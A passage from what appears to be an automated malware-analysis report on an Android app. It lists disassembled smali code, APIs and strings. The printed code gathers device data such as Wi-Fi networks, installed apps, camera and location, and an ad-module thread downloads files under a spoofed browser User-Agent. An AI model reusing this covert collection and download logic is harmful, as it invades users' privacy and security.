                                                                              239try_end_149: if-eqz v0, :cond_1c6
                                                                              240try_start_14b:
                                                                              241invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              242move-result-object v1
                                                                              244invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                                                                              245try_end_152:
                                                                              246invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              247goto/16 :goto_129
                                                                              248cond_156: if-eqz v1, :cond_15b
                                                                              249try_start_158:
                                                                              250invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
                                                                              251cond_15b: if-eqz v0, :cond_1c6
                                                                              252try_start_15d:
                                                                              253invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              254move-result-object v1
                                                                              256invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                                                                              257goto_164:
                                                                              258invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              259goto/16 :goto_129
                                                                              260catch_168: move-exception v1
                                                                              262iget-object v2, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              264invoke-static {v2, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              265goto/16 :goto_15b
                                                                              266catch_16f: move-exception v1
                                                                              268iget-object v2, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              270invoke-static {v2, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              271goto/16 :goto_149
                                                                              272catch_176: move-exception v0
                                                                              273move-object v2, v0
                                                                              274move-object v1, v3
                                                                              275move-object v0, v3
                                                                              276try_start_17a:
                                                                              277iget-object v4, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              279invoke-static {v4, v2}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              280try_end_17f: if-eqz v1, :cond_184
                                                                              281try_start_181:
                                                                              282invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
                                                                              283try_end_184: if-eqz v0, :cond_1c6
                                                                              284try_start_186:
                                                                              285invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              286move-result-object v1
                                                                              288invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                                                                              289goto_18d:
                                                                              290invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              291goto/16 :goto_129
                                                                              292catch_191: move-exception v1
                                                                              294iget-object v2, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              296invoke-static {v2, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              297goto/16 :goto_184
                                                                              298catchall_198: move-exception v0
                                                                              299move-object v1, v0
                                                                              300move-object v0, v3
                                                                              301goto_19b: if-eqz v3, :cond_1a0
                                                                              302try_start_19d:
                                                                              303invoke-virtual {v3}, Ljava/io/OutputStream;->close()V
                                                                              304goto_1a0: if-eqz v0, :cond_1ac
                                                                              305try_start_1a2:
                                                                              306invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              307move-result-object v2
                                                                              309invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                                                                              310try_end_1a9:
                                                                              311invoke-virtual {v0}, Ljavax/net/ssl/HttpsURLConnection;->disconnect()V
                                                                              312cond_1ac: throw v1
                                                                              313catch_1ad: move-exception v2
                                                                              315iget-object v3, p0, LuAgent/commonsdk/statistics/internal/c;->c:Landroid/content/Context;
                                                                              317invoke-static {v3, v2}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              318goto/16 :goto_1a0
                                                                              319catchall_1b4: move-exception v2
                                                                              320goto_1b5: move-object v3, v1
                                                                              321move-object v1, v2
                                                                              322goto/16 :goto_19b
                                                                              323catch_1b8: move-exception v1
                                                                              324move-object v2, v1
                                                                              325move-object v1, v3
                                                                              326goto/16 :goto_17a
                                                                              327catch_1bc: move-exception v0
                                                                              328move-object v1, v3
                                                                              329move-object v0, v3
                                                                              330goto/16 :goto_144
                                                                              331catch_1c0: move-exception v1
                                                                              332move-object v1, v3
                                                                              333goto/16 :goto_144
                                                                              334cond_1c3: move v2, v4
                                                                              335goto/16 :goto_cb
                                                                              336cond_1c6: move-object v0, v3
                                                                              337goto/16 :goto_128
                                                                              338catch_1c9: move-exception v1
                                                                              339goto/16 :goto_124
                                                                              340catch_1cc: move-exception v1
                                                                              341goto/16 :goto_164
                                                                              342catch_1ce: move-exception v1
                                                                              343goto/16 :goto_152
                                                                              344catch_1d0: move-exception v1
                                                                              345goto/16 :goto_18d
                                                                              346catchall_1d2: move-exception v1
                                                                              347goto/16 :goto_19b
                                                                              348catch_1d4: move-exception v2
                                                                              349goto/16 :goto_1a9
                                                                              350catch_1d6: move-exception v2
                                                                              351goto/16 :goto_17a
                                                                              352catchall_1d8: move-exception v2
                                                                              353goto/16 :goto_1b5
                                                                              354cond_1da: move-object v0, v2
                                                                              355goto/16 :goto_128
                                                                              Cross References
                                                                              APIs
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.<init>
                                                                              • android.content.Context.getApplicationContext
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONArray.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.length
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.put
                                                                              Strings
                                                                              • rs
                                                                              • bstn
                                                                              • by
                                                                              • sd
                                                                              • build
                                                                              • a_sr
                                                                              • stat
                                                                              • sr
                                                                              • scr
                                                                              • sinfo
                                                                              • wl
                                                                              • a_wls
                                                                              • winfo
                                                                              • input
                                                                              • bt
                                                                              • cam
                                                                              • appls
                                                                              • mem
                                                                              • lbs
                                                                              • cpu
                                                                              • rom
                                                                              • inner
                                                                              Position Instruction Meta Information
                                                                              0new-instance v0, Lorg/json/JSONObject;
                                                                              2invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              3new-instance v2, Lorg/json/JSONObject;
                                                                              5invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                                                                              6if-eqz p0, :cond_172
                                                                              8invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              9move-result-object v3
                                                                              10try_start_10:
                                                                              11invoke-static {v3}, LuAgent/commonsdk/internal/d;->p(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              12move-result-object v1
                                                                              13if-eqz v1, :cond_21
                                                                              15invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                                                                              16move-result v4
                                                                              17if-lez v4, :cond_21
                                                                              19const-string v4, "rs"
                                                                              21invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              22cond_21:
                                                                              23invoke-static {v3}, LuAgent/commonsdk/internal/d;->q(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              24move-result-object v1
                                                                              25if-eqz v1, :cond_32
                                                                              27invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                                                                              28move-result v4
                                                                              29if-lez v4, :cond_32
                                                                              31const-string v4, "bstn"
                                                                              33invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              34try_start_32:
                                                                              35invoke-static {v3}, LuAgent/commonsdk/internal/d;->r(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              36move-result-object v1
                                                                              37if-eqz v1, :cond_43
                                                                              39invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                                                                              40move-result v4
                                                                              41if-lez v4, :cond_43
                                                                              43const-string v4, "by"
                                                                              45invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              46goto_43:
                                                                              47invoke-static {v3, v2}, LuAgent/commonsdk/internal/d;->a(Landroid/content/Context;Lorg/json/JSONObject;)V
                                                                              48goto_46:
                                                                              49invoke-static {v3, v2}, LuAgent/commonsdk/internal/d;->b(Landroid/content/Context;Lorg/json/JSONObject;)V
                                                                              50try_start_49:
                                                                              51invoke-static {}, LuAgent/commonsdk/internal/d;->a()Lorg/json/JSONObject;
                                                                              52move-result-object v1
                                                                              53if-eqz v1, :cond_5a
                                                                              55invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              56move-result v4
                                                                              57if-lez v4, :cond_5a
                                                                              59const-string v4, "sd"
                                                                              61invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              62cond_5a:
                                                                              63invoke-static {}, LuAgent/commonsdk/internal/d;->b()Lorg/json/JSONObject;
                                                                              64move-result-object v1
                                                                              65if-eqz v1, :cond_6b
                                                                              67invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              68move-result v4
                                                                              69if-lez v4, :cond_6b
                                                                              71const-string v4, "build"
                                                                              73invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              74goto_6b: new-instance v1, Lorg/json/JSONObject;
                                                                              76invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                                                              78invoke-static {v3}, LuAgent/commonsdk/internal/d;->g(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              79move-result-object v4
                                                                              80if-eqz v4, :cond_81
                                                                              82invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                                                                              83try_end_79: move-result v5
                                                                              84if-lez v5, :cond_81
                                                                              85try_start_7c:
                                                                              86const-string v5, "a_sr"
                                                                              88invoke-virtual {v1, v5, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              89goto_81:
                                                                              90invoke-static {v3}, LuAgent/commonsdk/internal/utils/j;->c(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              91move-result-object v4
                                                                              92if-eqz v4, :cond_92
                                                                              94invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                                                                              95try_end_8a: move-result v5
                                                                              96if-lez v5, :cond_92
                                                                              97try_start_8d:
                                                                              98const-string v5, "stat"
                                                                              100invoke-virtual {v1, v5, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              101cond_92:
                                                                              102const-string v4, "sr"
                                                                              104invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              105try_start_97:
                                                                              106invoke-static {v3}, LuAgent/commonsdk/internal/d;->h(Landroid/content/Context;)Lorg/json/JSONObject;
                                                                              107move-result-object v1
                                                                              108if-eqz v1, :cond_a8
                                                                              110invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              111move-result v4
                                                                              112if-lez v4, :cond_a8
                                                                              114const-string v4, "scr"
                                                                              116invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              117goto_a8:
                                                                              118invoke-static {v3}, LuAgent/commonsdk/internal/d;->i(Landroid/content/Context;)Lorg/json/JSONObject;
                                                                              119move-result-object v1
                                                                              120if-eqz v1, :cond_b9
                                                                              122invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              123move-result v4
                                                                              124if-lez v4, :cond_b9
                                                                              126const-string v4, "sinfo"
                                                                              128invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              129cond_b9: new-instance v1, Lorg/json/JSONObject;
                                                                              131invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                                                              133invoke-static {v3}, LuAgent/commonsdk/internal/utils/a;->e(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              134move-result-object v4
                                                                              135if-eqz v4, :cond_cf
                                                                              137invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                                                                              138try_end_c7: move-result v5
                                                                              139if-lez v5, :cond_cf
                                                                              140try_start_ca:
                                                                              141const-string v5, "wl"
                                                                              143invoke-virtual {v1, v5, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              144try_start_cf:
                                                                              145invoke-static {v3}, LuAgent/commonsdk/internal/d;->j(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              146move-result-object v4
                                                                              147if-eqz v4, :cond_e0
                                                                              149invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                                                                              150try_end_d8: move-result v5
                                                                              151if-lez v5, :cond_e0
                                                                              152try_start_db:
                                                                              153const-string v5, "a_wls"
                                                                              155invoke-virtual {v1, v5, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              156try_start_e0:
                                                                              157const-string v4, "winfo"
                                                                              159invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              160try_start_e5:
                                                                              161invoke-static {v3}, LuAgent/commonsdk/internal/d;->k(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              162move-result-object v1
                                                                              163if-eqz v1, :cond_f6
                                                                              165invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                                                                              166move-result v4
                                                                              167if-lez v4, :cond_f6
                                                                              169const-string v4, "input"
                                                                              171invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              172try_start_f6:
                                                                              173invoke-static {v3}, LuAgent/commonsdk/internal/utils/a;->o(Landroid/content/Context;)Lorg/json/JSONObject;
                                                                              174move-result-object v1
                                                                              175if-eqz v1, :cond_107
                                                                              177invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              178move-result v4
                                                                              179if-lez v4, :cond_107
                                                                              181const-string v4, "bt"
                                                                              183invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              184try_start_107:
                                                                              185invoke-static {v3}, LuAgent/commonsdk/internal/d;->l(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              186move-result-object v1
                                                                              187if-eqz v1, :cond_118
                                                                              189invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                                                                              190move-result v4
                                                                              191if-lez v4, :cond_118
                                                                              193const-string v4, "cam"
                                                                              195invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              196try_start_118:
                                                                              197invoke-static {v3}, LuAgent/commonsdk/internal/d;->m(Landroid/content/Context;)Lorg/json/JSONArray;
                                                                              198move-result-object v1
                                                                              199if-eqz v1, :cond_129
                                                                              201invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                                                                              202move-result v4
                                                                              203if-lez v4, :cond_129
                                                                              205const-string v4, "appls"
                                                                              207invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              208goto_129:
                                                                              209invoke-static {v3}, LuAgent/commonsdk/internal/d;->n(Landroid/content/Context;)Lorg/json/JSONObject;
                                                                              210move-result-object v1
                                                                              211if-eqz v1, :cond_13a
                                                                              213invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              214move-result v4
                                                                              215if-lez v4, :cond_13a
                                                                              217const-string v4, "mem"
                                                                              219invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              220try_end_13a:
                                                                              221invoke-static {v3}, LuAgent/commonsdk/internal/d;->o(Landroid/content/Context;)Lorg/json/JSONObject;
                                                                              222move-result-object v1
                                                                              223if-eqz v1, :cond_14b
                                                                              225invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              226move-result v4
                                                                              227if-lez v4, :cond_14b
                                                                              229const-string v4, "lbs"
                                                                              231invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              232try_end_14b:
                                                                              233invoke-static {}, LuAgent/commonsdk/internal/d;->d()Lorg/json/JSONObject;
                                                                              234move-result-object v1
                                                                              235if-eqz v1, :cond_15c
                                                                              237invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              238move-result v4
                                                                              239if-lez v4, :cond_15c
                                                                              241const-string v4, "cpu"
                                                                              243invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              244try_end_15c:
                                                                              245invoke-static {}, LuAgent/commonsdk/internal/d;->c()Lorg/json/JSONObject;
                                                                              246move-result-object v1
                                                                              247if-eqz v1, :cond_16d
                                                                              249invoke-virtual {v1}, Lorg/json/JSONObject;->length()I
                                                                              250move-result v4
                                                                              251if-lez v4, :cond_16d
                                                                              253const-string v4, "rom"
                                                                              255invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              256goto_16d:
                                                                              257const-string v1, "inner"
                                                                              259invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              260try_end_172: return-object v0
                                                                              261catch_173: move-exception v1
                                                                              263invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              264goto/16 :goto_21
                                                                              265catch_179: move-exception v1
                                                                              267invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              268goto/16 :goto_32
                                                                              269catch_17f: move-exception v1
                                                                              271invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              272goto/16 :goto_43
                                                                              273catch_185: move-exception v1
                                                                              275invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              276goto/16 :goto_46
                                                                              277catch_18b: move-exception v1
                                                                              279invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              280goto/16 :goto_49
                                                                              281catch_191: move-exception v1
                                                                              283invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              284goto/16 :goto_5a
                                                                              285catch_197: move-exception v1
                                                                              287invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              288goto/16 :goto_6b
                                                                              289catch_19d: move-exception v1
                                                                              291invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              292goto/16 :goto_97
                                                                              293catch_1a3: move-exception v1
                                                                              295invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              296goto/16 :goto_a8
                                                                              297catch_1a9: move-exception v1
                                                                              299invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              300goto/16 :goto_b9
                                                                              301catch_1af: move-exception v1
                                                                              303invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              304goto/16 :goto_e5
                                                                              305catch_1b5: move-exception v1
                                                                              307invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              308goto/16 :goto_f6
                                                                              309catch_1bb: move-exception v1
                                                                              311invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              312goto/16 :goto_107
                                                                              313catch_1c1: move-exception v1
                                                                              315invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              316goto/16 :goto_118
                                                                              317catch_1c7: move-exception v1
                                                                              319invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              320goto/16 :goto_129
                                                                              321catch_1cd: move-exception v1
                                                                              323invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              324goto/16 :goto_13a
                                                                              325catch_1d3: move-exception v1
                                                                              327invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              328goto/16 :goto_14b
                                                                              329catch_1d9: move-exception v1
                                                                              331invoke-static {v3, v1}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              332goto/16 :goto_172
                                                                              333catch_1de: move-exception v4
                                                                              334goto/16 :goto_81
                                                                              335catch_1e1: move-exception v4
                                                                              336goto/16 :goto_92
                                                                              337catch_1e4: move-exception v4
                                                                              338goto/16 :goto_cf
                                                                              339catch_1e7: move-exception v4
                                                                              340goto/16 :goto_e0
                                                                              341catch_1ea: move-exception v1
                                                                              342goto/16 :goto_15c
                                                                              343catch_1ed: move-exception v1
                                                                              344goto/16 :goto_16d
                                                                              APIs
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.downUrl:Ljava/net/URL
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.downUrl:Ljava/net/URL
                                                                              • java.net.URL.toString
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.getInputStream
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.print
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.saveFile:Ljava/io/File
                                                                              • java.io.RandomAccessFile.<init>
                                                                              • java.io.RandomAccessFile.seek
                                                                              • java.io.InputStream.read
                                                                              • java.io.RandomAccessFile.write
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.downloader:Lcom/android/leech/main/ad/mini/download/FileDownloader
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.update
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.downloader:Lcom/android/leech/main/ad/mini/download/FileDownloader
                                                                              • com.android.leech.main.ad.mini.download.FileDownloader.append
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.print
                                                                              • java.io.RandomAccessFile.close
                                                                              • java.io.InputStream.close
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • com.android.leech.main.ad.mini.download.DownloadThread.print
                                                                              Strings
                                                                              • GET
                                                                              • Accept
                                                                              • image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
                                                                              • Accept-Language
                                                                              • zh-CN
                                                                              • Referer
                                                                              • Charset
                                                                              • UTF-8
                                                                              • Range
                                                                              • bytes=
                                                                              • -
                                                                              • User-Agent
                                                                              • Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
                                                                              • Connection
                                                                              • Keep-Alive
                                                                              • Thread
                                                                              • start download from position
                                                                              • rwd
                                                                              • :
                                                                              • download finish
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v11, -0x1
                                                                              2iget v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downLength:I
                                                                              3iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->block:I
                                                                              4if-ge v8, v9, :cond_f9
                                                                              5try_start_7:
                                                                              6iget-object v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downUrl:Ljava/net/URL;
                                                                              8invoke-virtual {v8}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              9move-result-object v3
                                                                              10check-cast v3, Ljava/net/HttpURLConnection;
                                                                              11const/16 v8, 0x1388
                                                                              13invoke-virtual {v3, v8}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              15const-string v8, "GET"
                                                                              17invoke-virtual {v3, v8}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              19const-string v8, "Accept"
                                                                              21const-string v9, "image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*"
                                                                              23invoke-virtual {v3, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              25const-string v8, "Accept-Language"
                                                                              27const-string v9, "zh-CN"
                                                                              29invoke-virtual {v3, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              31const-string v8, "Referer"
                                                                              33iget-object v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downUrl:Ljava/net/URL;
                                                                              35invoke-virtual {v9}, Ljava/net/URL;->toString()Ljava/lang/String;
                                                                              36move-result-object v9
                                                                              38invoke-virtual {v3, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              40const-string v8, "Charset"
                                                                              42const-string v9, "UTF-8"
                                                                              44invoke-virtual {v3, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              45iget v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->block:I
                                                                              46iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->threadId:I
                                                                              47add-int/lit8 v9, v9, -0x1
                                                                              48mul-int/2addr v8, v9
                                                                              49iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downLength:I
                                                                              50add-int v6, v8, v9
                                                                              51iget v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->block:I
